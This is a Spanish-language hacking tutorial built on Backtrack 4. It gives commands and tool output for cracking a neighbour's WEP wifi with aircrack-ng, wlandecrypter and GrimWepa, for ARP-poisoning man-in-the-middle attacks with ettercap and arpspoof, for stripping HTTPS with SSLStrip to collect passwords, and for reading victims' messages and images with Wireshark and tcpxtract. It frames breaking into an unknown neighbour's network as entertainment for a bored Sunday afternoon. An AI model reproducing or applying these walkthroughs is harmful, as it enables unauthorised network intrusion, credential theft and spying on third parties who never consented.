JUGANDO EN LA RED



Aetsu alpha.aetsu@gmail.com

Esta obra se encuentra bajo la licencia Creative Commons 3.0 - España:



Indice

Sección	Página
1. Introducción	. 3
2. Sección Wireless	4
3. Sección Sniffers	12
4. Sección Metasploit	22
5. Sección DNS-Spoofing	26
6. Karmetasploit	33



PASANDO UNA TARDE CON EMOCIÓN

Propongamos un escenario:

Es domingo por la tarde, la televisión es una basura (para variar) y estamos aburridos, así que decidimos buscar una red wifi en nuestro vecindario y aventurarnos en lo desconocido, aquí empieza nuestra odisea en la que veremos algunas cosas interesantes que podremos hacer para "entretenernos".

Para este tutorial trabajaremos sobre <u>Backtrack 4 RC2</u> que ha salido hace poco y contiene prácticamente todas las aplicaciones que utilizaremos, además en el caso de la auditoria de redes wifi, lleva los drivers para que la mayoría de tarjetas pueda entrar en modo monitor e inyectar.

Backtrack se nos presenta en formato *.iso* para que lo utilicemos desde un cd en modo live cd o desde un USB, aunque también existe la posibilidad de instalarlo en el disco duro o descargarnos una maquina virtual ya preparada y correrla sobre <u>VMPlayer</u>.

Si para la auditoria de redes wifi se desea utilizar una tarjeta que <u>no sea USB</u> debemos utilizar cualquier alternativa <u>que no sea la virtualización</u>. Si este es vuestro caso yo recomiendo crear un USB live con Backtrack y un buen programa para ello es <u>Unetbooin</u>.

Ahora ya es a gusto de cada uno escoger el que mas le interese para trabajar, aunque también hay alternativas algo mas trabajosas que no he mostrado como crear un USB persistente con Backtrack o utilizar <u>VirtualBox</u> como he hecho yo, e instalar Backtrack en una de sus maquinas virtuales, ya que me daba pereza registrarme en la pagina de VMWare para obtener el VMPlayer que aunque es gratuito requiere de registro para descargarlo y después te mandan publicidad. Creo que también hay forma de convertir las maquinas virtuales de VMWare al formato reconocido por VirtualBox, aquí ya es a elección de cada uno escoger la opción que más se amolde a sus preferencias.

Por último recordar que es a gusto y "riesgo" de cada uno realizar las tareas que aquí se exponen, ya que si alguien abre un agujero negro en el proceso no me responsabilizo del caos producido ;).

Bueno esto es todo, a disfrutar y aprender.

Saludos,

Aetsu

- Sección Wireless -

1a parte

Lo primero que nos interesará hacer es obtener acceso a la red wifi objetivo, una vez estemos dentro ya podremos empezar a jugar. Para ello utilizarnos la famosa **suite aircrack-ng**.

 \rightarrow Para esta sección utilizaremos:

- <u>Macchanger</u>: Para cambiar la <u>MAC</u> de nuestra tarjeta wifi.
- La <u>Suite Aircrack-ng</u>: Para el tema de la auditoria wifi.

Lo explicaré bastante metódico y al final de la sección añadiré enlaces a tutoriales complementarios para quien quiera adentrarse más en el tema o quien no tenga muy claro lo explicado aquí.

1. Primero detenemos nuestra interfaz (la que usaremos para la auditoria, en mi caso wlan1) y la ponemos en modo monitor.

ifconfig **wlan1** down airmon-ng start **wlan1**

Con esto ya tendremos nuestra interfaz en modo monitor y nuestra interfaz pasará a llamarse **mon0**:

Interface	Chipset	Driver
wlan0 wlan1	Atheros Atheros -	ath5k - [phy0] ath5k - [phy1] (monitor mode enabled on mon0)

Ahora cambiaremos la MAC de nuestra interfaz en modo monitor con:

ifconfig mon0 down macchanger -m 00:11:22:33:44:55 mon0 ifconfig mon0 up

Con esto ya tendremos la MAC de nuestra tarjeta cambiada y podemos seguir con la auditoria.

2. A continuación mediante <u>airodump-ng</u> buscaremos una red con seguridad <u>WEP</u> (para no complicarnos demasiado la vida):

allouul	np-ng i	monv	

BSSID	PWR	Beacons	#Data,	#/s	СН	MB E	ENC	CIPHER	AUTH	ESSID
Contraction of the second s	- 56	31	Θ	Θ	1	54.0	OPN			
0	-64	80	9	Θ	1	54 . V	NPA	CCMP	PSK	
	-76	121	15	Θ	5	54 . V	NEP	WEP		WLAN 43
0.00.5	-76	81	Θ	Θ	6	54e. V	NEP	WEP		

Escogeremos WLAN_43 y con sus datos ya podremos proceder a realizar un **airodump-ng** más concreto:

airodump-ng -w captura --bssid aa:bb:cc:dd:ee:ff -c9 mon0

CH 5][Elapsed: 8 s][2009-12-05 23:28											
BSSID PWF	R RXQ Beacons	#Data, #/s	CH MB	ENC CIPHER AUTH	ESSID						
-74	4 18 85	1 0	5 54.	WEP WEP	WLAN_43						
BSSID ST	ATION	PWR Rate	Lost Pá	ackets Probes							
		-76 1-1	319	88							

Donde:

- captura es el archivo donde se almacenarán los datos capturados.
- **aa:bb:cc:dd:ee:ff** es el <u>BSSID</u> del punto de acceso.
- 9 es el canal del punto de acceso.
- mon0 es nuestra interfaz en modo monitor.
- 3. Una vez ya tenemos una terminal capturando los datos vamos a intentar acelerar un poco el proceso, recordemos que queremos que la columna #Data del airodump-ng llegue a los 60000 paquetes como mínimo (con menos paquetes puede bastar, la cuestión es ir probando), para ello utilizaremos el ataque 1+3. Este ataque consiste en dos pasos, *asociarnos al punto de acceso e inyectar tráfico* en este.

En el paso de asociación (desde una terminal nueva) utilizaremos <u>aireplay-ng</u>: aireplay-ng -1 10 -e WLAN_43 -a aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0



Donde:

- 10 es tiempo que pasa entre cada prueba de asociación.
- WLAN 43 es el ESSID del punto de acceso.
- **aa:bb:cc:dd:ee:ff** es el BSSID del punto de acceso.
- 00:11:22:33:44:55 es la MAC de nuestra tarjeta wifi.
- mon0 es nuestra interfaz en modo monitor.

El segundo paso consiste en inyectar trafico, para ello abrimos otra terminal y: aireplay-ng -3 -b aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55 mon0

```
00:27:25 Waiting for beacon frame (BSSID: ________) on channel 5
Saving ARP requests in replay_arp-1129-002725.cap
You should also start airodump-ng to capture replies.
R<sub>y</sub>ad 975 packets (got 0 ARP requests and 36 ACKs), sent 0 packets...(0 pps)
```

Donde:

- **aa:bb:cc:dd:ee:ff** es el BSSID del punto de acceso.
- 00:11:22:33:44:55 es la mac de nuestra tarjeta wifi.
- mon0 es nuestra interfaz en modo monitor.

4. Con esto solo nos queda esperar a tener suficientes **#Data**, para ello desde otra terminal ejecutamos el <u>aircrack-ng</u> para que vaya probando con los **#Data** que vamos obteniendo hasta que obtengamos la contraseña, para ello:

aircrack-ng captura*.cap

```
Aircrack-ng 1.0
         [00:34:18] Tested 801 keys (got 28480 IVs)
  KВ
        depth
                byte(vote)
                5A(43264) D0(35584) EB(35584) 7F(35328)
                B2(33280) 05(33024) CF(32768) 75(32512)
       15/
                BA(41728) 9A(35840) 50(35584) 0B(34816)
       12/ 3
                5B(33280) 6D(33024) 00(32768) 33(32512)
        2/ 11
                46(36096) 22(35328) A9(35072) DC(34816)
    KEY FOUND! [ 5A:30:30:31:33:34:39:45:44:32:36:34:33 ] (ASCI
I: Z001349ED2643 )
       Decrypted correctly: 100%
```

Donde:

• **captura*.cap** es el archivo que contiene los paquetes capturados con el airodump-ng.

Con esto ya tendremos la contraseña del punto de acceso y podremos acceder a este con lo que ya hemos acabado esta sección.

 \rightarrow Informacion interesante sobre el tema:

- Hacking Wireless con Aircrack-ng (cifrado WEP -- Todos los ataques).
- Asaltando redes WPA con aircrack-ng.
- <u>Asaltando redes WIFI (WEP/WPA) en pdf para descargar.</u>

2a parte

Ya hemos observado como sería el proceso para acceder a una red wifi con cifrado WEP, pero, lo que ahora veremos, será como hacerlo de forma más rápida o automática.

Para ello nos valdremos de dos herramientas, la primera es <u>wlandecrypter</u> que nos permite obtener con apenas **5 #Data** las contraseñas (por defecto) de las redes WLAN_XX.

La segunda es <u>Grim Wepa</u>, que nos permite hacer lo que hemos visto en la primera parte (además de otras muchas cosas) de forma automática con una <u>GUI</u>.

\rightarrow Wlandecrypter:

Como he comentado antes **wlandecrypter** nos permite obtener los password por defecto de las redes cuyo <u>ESSID sea WLAN_XX</u> con una <u>pequeña cantidad de #Data</u> acortándonos enormemente el tiempo necesario para obtener la contraseña, aunque no viene por defecto con Backtrack 4 por tanto si queremos obtener la ultima versión tenemos que descargarlo:

http://www.wifiway.org/archivos/wlandecrypter-1.3.1.tar.gz

Una vez descargado ya podremos utilizarlo, no hace falta instalarlo ya que dentro ya viene el ejecutable compilado y listo para utilizar.

Para utilizarlo partiremos del **punto 2 de la primera parte** donde ya tenemos al <u>airodump-ng</u> <u>capturando paquetes</u>:

CH 9][Elapsed:	H 9][Elapsed: 32 s][2010-11-27 23:26												
BSSID	PWR	RXQ	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER AUTH	ESSID			
	-1 -63	0 96	0 309	979 11	24 0	148 9	-1 54.	WEP WEP	WEP WEP	WLAN F9			
	-68	37	137	Θ	Θ	9	54 .	WEP	WEP				

Como vemos ya tenemos 11 #Data, cantidad insuficiente para obtener la contraseña (necesitaríamos más de 20.000 como mínimo), pero con **wlandecrypter** podemos crear un diccionario con todos los password por defecto para ese ESSID, para ello:

./wlandecrypter aa:bb:cc:dd:ee:ff WLAN_F9 diccionario

donde:

- **aa:bb:cc:dd:ee:ff**: Es el BSSID del punto de acceso.
- WLAN F9: Es el ESSID del punto de acceso.
- diccionario: El nombre del diccionario que crearemos con las posibles claves.

```
root@bt:~# ./wlandecrypter ______ WLAN_F9 diccionario
wlandecrypter v1.3.1 (2010/04/21)
[+] BSSID: 00:02:CF:XX:XX:XX
[+] Modelo: ZyGate
[+] Generando fichero de claves: diccionario
[+] Fichero guardado OK
[+] Fichero guardado OK
[+] Generadas 131072 claves (1792 KB)
[+] Proceso finalizado con exito
```

Por último solo nos queda lanzar el aircrack-ng con el diccionario que acabamos de crear:

aircrack-ng -w diccionario captura.cap

donde:

- diccionario: Es el diccionario creado antes con el wlandecrypter.
- captura.cap: Es el archivo de captura generado con el airodump-ng.

					[00:0	00:00	Tes	sted 3	1584	keys	(got	11	IVs)		
KB	dep	th	byte	(vot	e)										
Θ	Θ/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
1	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(0)	
2	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(0)	
3	Θ/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
4	Θ/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
5	Θ/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
6	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
7	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
8	Θ/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
9	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
10	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
11	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
12	0/	Θ	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	00(Θ)	
KEY	(FOU Decr	ND! ypt	[5A:3 ed corr	30:3 rect	0:30: ly: 1	32:43 .00%	3:46:	45:30	5:32	:46:40	5:39] (A	SCII:	Z0002CFE62FF	9)

→ Grim Wepa:

Este programa se encuentra en Backtrack 4, podemos encontrarlo en Menu > Backtrack > Radio Network Analisis > 80211 > Cracking > GrimWepa.

<u>Grim Wepa</u> nos ofrece una interfaz desde la que podemos realizar los diferentes ataques a cifrados WEP o WPA de una forma fácil y cómoda.

Para esta prueba lo utilizaremos con la finalidad de obtener la contraseña de una red WEP con ESSID WLAN_F9.

Cuando tengamos el programa corriendo se nos preguntará que interfaz queremos poner en modo monitor, la seleccionamos y el mismo se encargará de ello.

4			GF		-	. ×		
		Interface:	WiFi D	evice: 🔻	Refresh	drivers		
P	wr	Network N	lame	Channel	Enc	E	855ID	
<u>s</u> 0	G	RIM WEPA	Selec	t device	for Mor	nitor M	ode	
i	Sele Wla	ct which wir n0	eless de Ok	vice you v	want to pr	ıt into n	nonitor n	node:
	/ Inject	Attack metho ion rate (pps] Choose cli	od: ARP): 100 20 ent: In IVs Cap	- Replay 1 1 1 00 300 400 0 clients 1 otured: 0	500 600	1 1 700 800	900 1000	

A continuación en **Interface** seleccionaremos nuestra interfaz en modo monitor y pulsaremos el boton **Start scan**, antes podemos seleccionar sobre que canal trabajará *Grim Wepa* o seleccionarlos todos (**All Channels**).

Al hacer esto veremos como también hay una terminal con *airodum-ng* funcionando. Una vez encontremos la red que queremos auditar pulsamos en **Stop scanning**.



Ahora una vez tengamos nuestro objetivo, en mi caso WLAN_F9 debemos seleccionar el tipo de ataque, para ello abrimos el desplegable de **Attack method** y lo seleccionaremos *ARP-Replay* (*ataque 1+3 visto en la primera parte*), además podemos probar la inyección con el botón que hay a su lado **Test injection. También** podemos seleccionar la velocidad de inyección en **Injection rate** (**pps**) o seleccionar un cliente asociado con **Choose client.**

🖬 💿 🛛 GRIM WEPA 📃 🕅											
	Interface: moi	10	Refresh drivers								
Pwr	Network Name	Channel	Enc	BSSID							
-66		1	WEP	^							
-66		5	WEP								
-66	WLAN_F9	9	WEP								
-61		11	WEP								
-52		1	WPA								
-1		138	WEP	_							
Channel: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Hide XTerms Refresh Targets Timeout (sec): 5											
WEP Targeting ' Attack method: ARP-Replay Injection rate (pps): Select attack: ARP-Replay Chop-Chop Choose client Fragmentation Start Attack IV: Caffe-Latte p0841 Attack Start Cracking											
Status	[inactive]										

Una vez este todo listo (*ARP-Replay* en **Attack method**) pulsamos en **Start Attack** y veremos al lado del botón los paquetes capturados válidos, además de una ventana con el *airodum-ng* y el *aireplay-ng*.

0	airodump-ng	
CH 9][Elapsed: 52 s][2010-11-27 (00:59	
BSSID PWR RXQ Beacons	#Data, #/s CH MB ENC CIPH	HER AUTH ESSID
-64 83 467	1232 0 9 54 .WEP WEP	WLAN_F9
🖬 💿 🛛 🖬 GRIM W	EPA =	
Interface: mon0		11
Pwr Network Name Channel	Enc BSSID	
-66 1	WEP	
-66 WLAN_F9 9	WEP	Haiting for beson frame (PCCID: (
-61 11	WEP	RP requests in replay_arp-1127-005811.cap
-52 1	WPA	Id also start airodump-ng to capture replies.
-1 138	WEP	z packets (got 0 HKP requests and 0 HLKS), sent 0 packets
Channel: 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	/ / All Channel 10 11 12 13 14	Is
Hide XTerms	Timeout (sec): 5	
FWEP Targeting '		
Attack method: ARP-Repla	V V	,
Injection rate (pps): 1 1 1 100 200 300	400 500 600 700 800 900 1000	acte
Choose client: 00:19:D2	▼	
Stop Attack Captured IVs:	1,232 Start Cracking	
Status: [Running ARP-Replay Attack	; Auto-Crack at 10,000+ IVs]	

A partid de 10.000 paquetes capturados el programa empezará a intentar obtener la contraseña, si somos impacientes podemos pulsar nosotros el botón de **Start Cracking**.

Al final cuando obtengamos la contraseña la veremos en la parte inferior:

6	G	RIM WEF	PA							
	Interface: mon0	T	Refresh	drivers						
Pwr	Network Name	Channel	Enc	BSSID						
-68		9	WEP							
-59	WLAN_F9	9	WEP							
-1		148	WEP							
Channel: 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1										
	lide XTerms Re	efresh Targ	gets Time	out (sec): 5						
[WEP T	argeting ')'—								
	Attack method: Cho	p-Chop	Tes	t Injection						
Injec	tion rate (pps): 1 100 2	00 300 40	0 500 600	700 800 900 1000						
	🗹 Choose client: 📒			*						
	Start Attack Captur	ed IVs: 40	,151	Start Cracking						
Status: [WEP Key: 5A3030303	2434645	36324646	i39 saved: '/pent						

- SECCION SNIFFERS -

Una vez obtenida la contraseña ya tendremos acceso a la red, y por tanto estaremos en <u>LAN</u> con todos los equipos conectados al punto de acceso con lo que podremos desde obtener las contraseñas que viajan por la red hasta acceder a su pc o dejar ordenadores sin acceso a internet.

 \rightarrow Para esta sección utilizaremos:

- <u>Bactrack 4 R2</u>: Trabajaremos sobre este sistema operativo basado en Ubuntu 8.10
- <u>Ettercap-gtk</u>: Un <u>sniffer</u> de trafico de red.
- <u>SSLStrip</u> : Sniffer para contraseñas <u>encriptadas</u>.
- <u>Wireshark</u> : Un programa para el análisis de redes.

Esta sección la ocupan los <u>sniffers</u>, de los que veremos 3 como son <u>Ettercap</u>, <u>SSLStrip</u> y <u>Wireshark</u>.

 \rightarrow Empezando por <u>ettercap</u> vemos que es un programa que nos permite <u>sniffar</u> el tráfico de red y obtener así las contraseñas de otros usuarios de nuestra red que viajen por esta, además también permite leer, por ejemplo, las conversaciones de programas de mensajería instantánea o ver las páginas que visita nuestra víctima.

Una vez estemos listos para empezar arrancamos **ettercap**, con lo que podemos o bien abrirlo desde el menu de Backtrack(**Menu** > **Backtrack** > **Privilege Escalation** > **Sniffers** > **Ettercap-GTK**), o bien desde una terminal con:

ettercap -G

y tendremos la interfaz gráfica de **ettercap**. También tiene una basada en las librerías <u>n-curses</u> (*ettercap -C*) o usarlo en modo texto(*ettercap -T*).



Ahora veamos que tenemos que hacer para hacer un ataque MITM:

- 1. Pestaña Sniff > Unified Sniffing.
- 2. Seleccionamos <u>la interfaz que esta conectada a la red que queremos sniffar</u>, después le damos a "Aceptar".



3. Pestaña Host > Scan for hosts.

En la parte de abajo de la pantalla aparecerá algo como "*X hosts added to the hosts list...*" (X sera un numero correspondiente al numero de maquinas conectadas a la red).

4. Pestaña Host > Host list.

Ahora veremos las IPs de las maquinas conectadas, hay que tener en cuenta que el router también aparece.

					ett	ercap N	IG-0.7.	3				
<u>S</u> tart <u>T</u> ar	gets	<u>H</u> osts	⊻iew	<u>M</u> itm	<u>F</u> ilters	Logging	<u>P</u> lugins	<u>H</u> elp				
Host List 🔉												
IP Address		MAC A	ddress	D	escription	n						
192.168.46	.1	-										
192.168.46	.2											
192.168.46	.134											
192.168.46	.254	C	0									
,	De	lete Hos	t			Add to	Target <u>1</u>			Addto) Target <u>2</u>	
	_								-			
28 plugins												La
39 protocol 53 ports m	disse	ctors ed										
7587 mac ve	ndor	fingerpri	nt									
1698 tcp OS 2183 known	tinge servi	rprint :es										
Randomizing	255	hosts for	scannir	ig								
4 hosts adde	d to t	he hosts	list	JJ NOST	>							

5. Seleccionamos la <u>IP del ordenador a atacar</u> y pulsamos "**Add to Target 1**", después <u>el router</u> "**Add to Target 2**".

<u>S</u> tart <u>T</u> argets <u>H</u> osts <u>V</u> iew <u>M</u> itm <u>F</u> ilters <u>L</u> ogging <u>P</u> lugins <u>H</u> elp									
Host List 💥									
IP Address MAC Address Description									
192.168.46.1									
192.168.46.2									
192.168.46.134									
192.168.46.254									
7587 mac vendor fingerprint									
1698 tcp OS fingerprint									
Randomizing 255 hosts for scanning									
Scanning the whole netmask for 255 hosts									
Host 192.168.46.134 added to TARGET1									
Host 192.168.46.1 added to TARGET2									

6. Pestaña Mitm > ARP Poisoning. Ahora <u>marcamos</u> la pestaña "*Sniff remote connections*" y pulsamos "Aceptar".

				ett	ercap N	IG-0.7.3	-			
<u>S</u> tart	Targets	Hosts	⊻iew	Mitm	<u>F</u> ilters	Logging	Plugins	Help	;	
Host L	.ist 💥									
IP Ad	dress	MAC /	Addres	s	Descript	ion				
192.1	68.46.1	.								
192.1	68.46.2	00.50								
192.1	168.46.134	1 00000	-20							
192.1	168.46.254	4								
			2	7 [Optional ☑ Sniff r □ Only ;	paramete remote co poison oni	rs innections e-way. <u>©ance</u>			
	Delete	Host			Add to	larget <u>1</u>		A	dd to Target	2
7587 m 1698 to 2183 ki Randor Scanni 4 hosts Host 1 Host 1	ac vendo p OS fing nown servi mizing 255 ng the whi added to 92.168.46 92.168.46	r finger erprint ices 5 hosts f ole netr the ho .134 ad	for scar nask fo sts list. Ided to id to TA	nning r 255 h TARGE RGET2	10sts T1					

7. Pestaña **Start > Start sniffing**.

Con esto estaremos sniffando el trafico de red.

8. Pestaña View > Connections. Aquí podemos ver todas las conexiones y si hacemos doble clic sobre alguna podemos ver los datos que contiene, entre ellos conversaciones de programas de mensajería instantánea, usuarios y contraseñas, etc.

 \rightarrow Nuestro segundo sniffer es <u>SSLStrip</u> que nos permite obtener contraseñas que viajan cifradas por la red.

Backtrack 4 ya lo lleva aunque lleva una versión antigua (la 0.6) así que nos descargaremos la ultima versión la 0.7. La encontraremos en:

http://www.thoughtcrime.org/software/sslstrip/

Una vez la descarguemos lo extraemos y dentro encontraremos el script escrito en **<u>python</u>**(grandioso lenguaje), por tanto dependeremos de *python* para hacerlo funcionar.

Antes de continuar tenemos que saber que **SSLStrip** también se basa en el ataque **MITM** como **ettercap**, así que tenemos dos opciones, aprovecharnos de este último (ettercap) para realizar un **MITM** o utilizar **arpspoof** para crear el nuestro, yo explicaré ambos, es decisión de cada uno escoger el que prefiera.

- Metodo arpspoof:
 - A continuación abrimos una shell y ponemos: echo "1" > /proc/sys/net/ipv4/ip_forward
 - 2. Ahora realizamos el ataque *MITM:* arpspoof -i {interfaz_red} -t {ip_victima} {ip_router}

a modo de ejemplo arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1

3. Abrimos otra shell y cambiamos la redireccion de puertos usando las iptables iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

• Método ettercap:

El <u>método ettercap</u> simplemente consiste en utilizar el ataque aprendido en la <u>sección</u> <u>anterior</u>.

Una vez tenemos el MITM trabajando lanzamos SSLStrip(desde dentro de la carpeta donde lo hemos extraído):

1. python sslstrip.py -w < nombre_del_archivo_de_captura >

a modo de ejemplo

python sslstrip.py -w captura.

2. Si queremos ver en tiempo real la información obtenida abrimos otra shell y:

tail -f < nombre_del_archivo_de_captura >

a modo de ejemplo

tail -f captura

3. Para terminar si posteriormente queremos ver el fichero de captura hacemos: **cat** < nombre_del_archivo_de_captura >

o a modo de ejemplo cat captura \rightarrow El tercer sniffer es **Wireshark**, uno de los mejores programas para analizar el trafico de red con gran cantidad de opciones y filtros.

Como trabajamos con Backtrack 4 ya disponemos de **Wireshark**, sino podemos instalarlo bien desde los repositorios o bien descargando el código fuente desde su página web.

 Nora iremos a la pestaña Capture > Options y nos aparecerá esta ventana:

Una	vez a	rrancado	el	sniffer	veremos	algo	como	esto:

	The Wireshark Network A	nalyżer	_ • ×
<u>File Edit View Go Capture Analyze S</u>	tatistics <u>H</u> elp		
	2 D. I A A A A Z L I E E Wireshark: Capture Op/	tions	⅔∣ б
	Capture Wireshark: Capture Optimizes Interface: eth0 IP address: unknown Link-layer header type: Ethernet Ø Capture packets in promiscuous mode Limit each packet to 68 ♀ bytes Ø Capture File(s) File: File: ● Browse Ø Next file every ♀ megabyte(s) ♀ Next file every ♀ files Ø Ring buffer with ♀ files Stop capture after ♀ file(s) Stop Capture I	ions	× 0
	□ after 1 ☆ packet(s) □ after 1 ♀ megabyte(s) ♦	Enable network name resolution	
	□ after 1 🔅 minute(s) ♦	☑ Enable transport name resolution	
	Ayuda	Cancelar Start	
Ready to load or capture No Pack	ets		Profile: Default

En interface seleccionamos la tarjeta con la que queremos sniffar el trafico.

En **Capture filter** podemos ver una serie de filtros para que facilitar la búsqueda de los datos que nos interesen (para el tutorial no pondremos ninguno).

Una vez estemos listos pulsaremos Start y el programa comenzara a hacer su función.

File Edit Yiew Go Capture Analyze Statistics Help Image: Statistics Help Image: Statistics Help Image: Statistics Help Image: Statistics Image: Statistics <t< th=""></t<>
W W
Elter: Expression J Impiar Aplicar No Time Source Destination Protocol Info Potocol Potocol Potocol Potocol Potocol Potocol Potocol Potocol Potocol
No Time Source Destination Protocol Info 95 5.012993 SitecomE 31:f3:92 Azureway 9:c79:c1 ARP Who has 192.168.0.1027 Tell 192.168.0.1 96 5.013010 Azureway 9:c79:c1 ARP Who has 192.168.0.1027 Tell 192.168.0.1
97 5.401748 64.71.33.31 192.166.0.102 TCP [TCP Retransmission] TCP segment of a reassembled POU] 98 5.401808 192.168.0.102 64.71.33.31 TCP [TCP Retransmission] [TCP segment of a reassembled POU] 199 5.280655 64.71.33.31 TCP [TCP Retransmission] [TCP R
0040 65 02 65 73 00 00 01 00 01 e.es

Como veremos la pantalla se divide en tres partes, las que nos interesan son la superior que contiene todos los paquetes capturados y la inferior que contiene el contenido de cada paquete.

En la pantalla superior, en la columna que pone **Info** podemos ver una indicación de lo que contiene el paquete. Por ejemplo si queremos obtener las conversaciones de programas de mensajería nos interesará que la parte de I**nfo** empiece por *MSG*.

Para terminar la captura vamos a **Capture** > **Stop**. Al salir del programa o cerrar la sesión nos pedirá si queremos guardar la captura, ponemos que no y listo.

\rightarrow Otras funciones de los sniffer:

A parte de sniffar el trafico de red con wireshark y ettercap podemos hacer otras cosas para entretenernos. En este tutorial veremos el programa <u>tcpxtract</u> que lo utilizaremos junto con **Wireshark** y también jugaremos con un par de **plugins del Ettercap**.

TCPXTRACT

Este programa permite obtener las imágenes que hubiese entre los paquetes guardados en la captura. Vamos a verlo mas claro en un ejemplo.

Primero, puesto que Backtrack 4 no lo incluye tendremos que instalarlo:

apt-get install tpcxtract

una vez instalado:

 1 – Creamos una carpeta en cualquier directorio: mkdir wire cd wire mkdir archivos 2 – Arrancamos el Wireshark y hacemos lo anterior para obtener paquetes, véase Captura

> **Options**, seleccionamos la interfaz y le damos a **Start**.

Ahora iremos a Google y buscaremos imágenes en el:



Como vemos el Wireshark ha capturado los paquetes:

						(Untitle	ed) - Wireshark	×
<u>F</u> ile <u>E</u> dit	<u>V</u> iew <u>G</u> o	<u>Capture A</u>	nalyze <u>S</u> ta	tistics <u>H</u> e	elp			
		i i 🔑 🗄	3 🔀 🔮		à 🔶	🔿 🏵 Ŧ :	- I I I I I I I I I I I I I I I I I I I	
Eilter:					`	 Expression 	. 🤞 Limpiar 🛷 Aplicar	
No 1	Time	Source		Destinat	ion	Protocol	Info	^
320 4	4.995039	209.85.227	. 147	192.168	.0.102	TCP	[TCP segment of a reassembled PDU]	
321 4	1.995075	192.168.0.1	102	209.85.	227.147	тср	54865 > http [ACK] Seq=869 Ack=4246 Win=195 Len=0 TSV=830898 TSER=2097522508	
322 5	5.018630	209.85.227	.99	192.168	.0.102	TCP	[TCP segment of a reassembled PDU]	
323 5	5.018687	192.168.0.1	L02	209.85.	227.99	TCP	50444 > http [ACK] Seq=851 Ack=1361 Win=8576 Len=0 TSV=830904 TSER=2057416398	
324 5	5.020322	209.85.227.	.99	192.168	.0.102	HTTP	HTTP/1.1 200 OK (JPEG JFIF image)	
325 5	5.020368	192.168.0.1	102	209.85.	227.99	TCP	50444 > http [ACK] Seq=851 Ack=2469 Win=11392 Len=0 TSV=830904 TSER=2057416398	
326 5	5.039461	209.85.227.	. 147	192.168	.0.102	HTTP	HTTP/1.1 200 OK (JPEG JFIF image)	
327 5	5.039518	192.168.0.1	102	209.85.	227.147	тср	54865 > http [ACK] Seq=869 Ack=4384 Win=216 Len=0 TSV=830909 TSER=2097522560	
328 5	5.045665	192.168.0.1	102	209.85.	227.103	HTTP	GET /csi?v=3&s=images&action=&tran=undefined&e=21355,21458,21548&e=1 WSSq7uN8q5-gb1	
329 5	5.109059	209.85.227.	. 103	192.168	.0.102	TCP	http > 41356 [ACK] Seq=16231 ACK=2941 Win=338 Len=0 TSV=2915696598 TSER=830911	
330 5	5.125098	209.85.227	103	192.168	.0.102	HTTP	HITP/1.1 204 NO CONTENT	
331 5	0.125130	192.108.0.1	102	209.85.	227.103	100	41350 > NTTP [ACK] SEGE2941 ACK=10440 WIN=500 LEN=0 ISV=830931 ISEK=2915090014	
332 /	7.154/99	SILECOME_3	1:13:92	Azurewa	90:79:	CI ARP	Who has 192.106.0.102? Tell 192.108.0.1	-
333 /	104020	AZUTEWAV_90	.:/9:01	STLECOM	c_31:13:	92 ARP	192.100.0.102 15 dt 00:15:d1:9c:79:t1	
Frame 1	1 (924 byte	es on wire,	924 bytes	captured)				_
b Etherne	et TT Src	 Azureway 9 	c•79•c1 (A	A·15·af·0	c • 79 • c1	Dst. Sitecom	31.f3.02 (AA.Ac.f6.31.f3.02)	~
0000 00	0c f6 31 f	3 92 00 15	af 9c 79 c	1 08 00 4	15 00	1yl		^
0010 03	8e 02 a7 4	0 00 40 06	be f9 c0 a	8 00 66	11 55	¢.@f	.U	
0020 e3	65 b6 3† 0	0 50 35 at	45 b1 8b 3	3 b0 c8	30 18	.e.?.P5. E3		=
0030 00	69 67 ec 0	0 00 01 01	08 0a 00 0	C 88 01	/a 91	.1g	Z	
0040 22	du 4/ 45 5	4 20 21 03 2 69 2f 69	6c 2d 65 7	2 26 71	20 21	search2h l=ester	2/ -+	
0050 75	48 54 54 54	A 2f 31 2e	31 Ad Aa 4	3 20 71 . 8 6f 73 1	74 3a	HTTP/1 1 Hos		
0070 20	63 6c 69 6	5 6e 74 73	31 2e 67 6	f 6f 67	2 65	clients 1.goog	e .	
0080 2e	65 73 0d 0	a 55 73 65	72 2d 41 6	7 65 6e	74 3a	.esUse r-Agen		
0090 20	4d 6f 7a 6	9 6c 6c 61	2f 35 2e 3	0 20 28	58 31	Mozilla /5.0 (2	<1	
00a0 31	3b 20 55 3	b 20 4c 69	6e 75 78 2	0 78 38	36 5f	1; U; Li nux x8	5	
00b0 36	34 3b 20 6	5 73 2d 45	53 3b 20 7	2 76 3a 🗄	31 2e 🛛	64; es-E S; rv:		
00c0 39	2e 30 2e 3	1 33 29 20	47 65 63 6	b 6f 2f :	32 30	9.0.13) Gecko/	20	
00d0 30	39 30 38 3	0 33 31 35	20 55 62 7	5 6e 74	75 2 f	09080315 Ubunt	1/	
0000 39	20 30 34 2	⊎ ∠8 08 61 9 2f 33 2o	/5 DE /4 /	9 29 20 ·	+0 09 1	9.04 (ja unty) rofox(2 0 12		~
